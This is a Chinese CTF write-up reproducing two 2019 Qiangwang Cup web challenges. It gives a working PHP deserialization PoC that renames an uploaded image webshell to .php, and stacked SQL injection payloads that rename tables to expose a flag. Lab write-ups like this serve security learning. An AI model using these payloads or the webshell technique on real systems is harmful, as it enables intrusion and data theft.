强网杯web复现

平台:https://buuoj.cn/challenges

2019 强网杯的题目总结

UPLOAD

wp

大佬的 wp : https://www.zhaoj.in/read-5873.html

个人总结

  1. 只能上传正常的图片,非 png 格式会自动转化为 png,图片被保存在 upload 目录下
  2. 本题是 www.tar.gz 泄露,源码泄露总结点击此处
  3. 函数流程:
    1. 没有登陆时,跳转到 index.php,进行注册登陆。login_check 函数将 cookie(‘user‘) 赋给 profile,然后 base64 解码反序列化
    2. 在注册页面调用 login_check 函数检查是否登陆,是则跳转到 index.php/home ,否则进行注册
    3. 在登陆页面调用 login_check 函数检查是否登陆,是则跳转到 index.php/home ,否则进行登陆
    4. 已经登陆时,跳转到 index.php/home 进行文件上传操作
    5. 在进行上传操作时,对请求头中的 REMOTE_ADDR 进行 md5 加密并赋给 upload_menu ,然后创建以 upload_menu 命名的文件夹
    6. 然后进行登陆检查,然后将文件的临时副本的名称赋给 filename_tmp,将文件名(不加后缀)进行 md5 加密后赋给 filename
    7. 然后进行后缀检测,将 filename 的后缀赋给 ext,如果 ext 为 png 返回 1,否则返回 0
    8. 如果后缀是 png,检查图片内容,然后将 filename 赋给 filename_tmp,将图片相对路径赋给 img,执行 update_img 函数
    9. update_img 函数先进行 user 查询,如果 user 没有上传过图片并且 img 存在,则更新 user 表的 img 字段,并执行 update_cookie 函数
    10. update_cookie 函数将上传图片的 img 进行序列化和 base64 编码后赋给 cookie 的 user
    11. profile 的 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。__get 会直接从 except 里找,__call 会调用自身的 name 成员变量所指代的变量所指代的方法。
  4. 攻击流程:

    1. 注册,登陆。登陆之后有个跳转的过程,这里就有了 cookie,如图

      解码后如图

    2. 选择上传图片,这个图片就是合成的图片马,从 阿里巴巴矢量图库 下载一个 png 图片,然后蚁剑生成一个 shell,用 hex 编辑器直接将 shell 内容放在图片后面即可。这里使用阿里的图库是因为网上的 png 图片可能 hex 格式不规范,导致后面改名之后会报 parse error
    3. 上传图片之后,会在 upload 目录下生成一个 md5(REMOTE_ADDR) 文件,而且文件名也会被 md5 加密,这时 cookie[‘user‘] 如图

      解码后如图

    4. 使用 poc 生成的序列化结果修改 cookie[‘user‘],刷新一次即可修改后缀。在服务器反序列化的过程中,在 Register 类中执行析构函数,调用 $profile 的 index() 函数,在 Profile 类的 __get 函数中定义了如果调用 index() 就去调用 img,而 __call 函数规定调用不可调用的函数时就调用 img 对应的函数,这样就控制函数跳转到 upload_img 函数,然后执行复制函数,将 png 改为 php,并删除原有的 png,至此,后缀修改完成。
    5. 最后直接用蚁剑连接 shell,读取配置文件中的数据库信息,选择 mysqli 驱动连接到数据库,即可读取 flag
  5. 最终 poc 如下,修改上传图片地址即可
<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
//修改地址即可
$profile->filename_tmp = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/36a767e7b2d8d3bde3f881217a418ebb5.png";
$profile->filename = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/6a767e7b2d8d3bde3f881217a418ebb5.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));
?>

mysqli 是 PHP 驱动数据库的一种方式,以前是使用 mysql 的,而 mysqli 相比于 mysql 更加安全高效

copy(a, b),a 和 b 是文件路径,将文件从 a 拷贝到 b,比如 copy("./1.png", "./1.php" ) 执行之后会存在两个文件 1.png 和 1.php

unlink(a),a 是文件路径,删除文件 a

随便注

wp

  1. 打开靶机,随便提交,发现似乎是把 PHP 查询的原始结果之间返回了
  2. 输入 select 发现了过滤语句,过滤了 select,update,delete,drop,insert,where 和 .

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

  3. 测试一下有没有注入。?inject=1‘%23,返回正常,字符型注入
  4. 过滤了这么多关键词,尝试堆叠注入。?inject=1‘;show databases;%23,看到了所有的数据库

  5. 再看一下所有的表。?inject=1‘;show tables;%23,1919810931114514 表和 words 表

  6. flag 在全数字的表里,默认查询的是 words 表
   ?inject=1';show columns from `1919810931114514`;%23
   ?inject=1';show columns from `words`;%23

  1. 既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1,再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了
  2. 构造 payload 如下
    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
  3. 使用 /?inject=1‘ or ‘1‘=‘1 访问一下即可获得 flag

个人总结

  1. MySQL中反引号和单引号的区别与用法

    1. MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名
    2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
    3. 例如:select * from `username` where `name`="peri0d"
  2. PHP 代码推测,这里只是一个大概的流程,和实际可能有出入。参照 sqli-labs 里的代码
    <?php
    function waf($inject){
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
     die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
    }
    
    if(isset($_GET['inject'])){
     $id = $_GET['inject'];
     waf($id);
    
     $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
     $sql = "select * from `words` where id = '$id';";
    
     /* execute multi query */
     if (mysqli_multi_query($con1, $sql)){
         /* store first result set */
         $result = mysqli_multi_query($con1);
         if ($result)
         {
             if($row = mysqli_fetch_row($result))
             {
               var_dump($row);
             }
    
         }
         /* print divider */
         if (mysqli_more_results($con1))
         {
             echo "<hr>";
         }
     }
     mysqli_close($con1);
    }
    
    ?>
  3. MySQL 的 show、rename 和 alter 命令
    1. show 可以用于查看当前数据库,当前表,以及表中的字段
    2. rename 用于修改 table 的名称
    3. alter 用于修改表中字段的属性
  4. 攻击思路:默认查询 words 表,可以将数字表的名称改成 words,这样就可以 使用 or ‘1‘=‘1 直接查询 flag 了

原文地址:https://www.cnblogs.com/peri0d/p/11508849.html

时间: 2024-11-07 19:51:40

强网杯web复现的相关文章

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

为全面贯彻习主席关于网络安全和信息化工作的一系列重要指示精神,延揽储备锻炼网信领域优秀人才,提升国家网络空间安全能力水平,举办第二届"强网杯"全国网络安全挑战赛.该比赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平. 比赛链接 官方比赛链接地址:https://www.ichunqiu.com/2018qwb?from=bkyl 比赛时间 线上赛报

[强网杯]随便注

[强网杯]随便注 当所需的语句被ban时可以考虑,用其他方式实现该语句.但是如果想不出同样可以考虑改变数据来利用本来执行的语句. 打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题.Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 111';show da

[原题复现]强网杯 2019 WEB高明的黑客

简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 页面提示有源码可以下载,直接拼接URL www.tar.gz 下载后发现一堆php 初步考虑就是有考察根脚本编写有关 打开代码发现这些 有get.pos 还有var_dump() 每个页面都有很多看WP说这是shell 因为很多都不能用所以要编写一个能检测利用的py v1.0版本(速度太慢) i

2019强网杯部分misc&amp;web

0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下. 0x02 鲲or鳗orGame 最先开始做的便是这道MISC的题目“鲲or鳗orGame” 进入网站后,发现鲲or鳗orGa

第二届强网杯部分题writeup

0x00 题目名称 签到 操作内容:   FLAG值: flag{welcome_to_qwb} 0x01 题目名称 Weclome 操作内容: 通过查看文件发现是一个bmp格式的图片文件,然后加上后缀.bmp,如图 将图片放入色道,通过变换得到flag FLAG值: QWB{W3lc0me} 0x02 题目名称 streamgame1操作内容: 密码长度不大,暴力破解得到flag     FLAG值: flag{1110101100001101011} 0x03 题目名称 web签到操作内容:

2019CISCN华南线下两道web复现

原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RCE 在注释中发现了 forgetpassword.php 页面 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123 import requests url = "http://127.0.0.1/ciscn/web1/useri.php"

CTF 2017强网杯

1.Base64特征 如果这个字符串仅有64个字符(A~Z a~z + / )以及后缀=组成,一般就可以判断是经过base64编码过的字符串字符串的字节数(不包括等号并且去掉4-等号个数个字节数)一定是4的倍数 2.ROT13 HACKBAR中带有这个工具 #修改Cookie 3.构造PHP 要学的东西好多 原文地址:https://www.cnblogs.com/rookieDanny/p/8306697.html

【强网杯2018】逆向hide

这是事后才做出来的,网上没有找到现成的writeup,所以在这里记录一下 UPX加壳,而且linux下upx -d无法解,也无法gdb/ida attach 因为是64位,所以没有pushad,只能挨个函数进入,退出,看看程序是否恢复. 当运行到一0x400dd0,发现此时已经可以看见字符串了 用dumphex的脚本来dump出内存,见hide_dump static main(void) { auto fp, begin, end, dexbyte; fp = fopen("C:\\dump.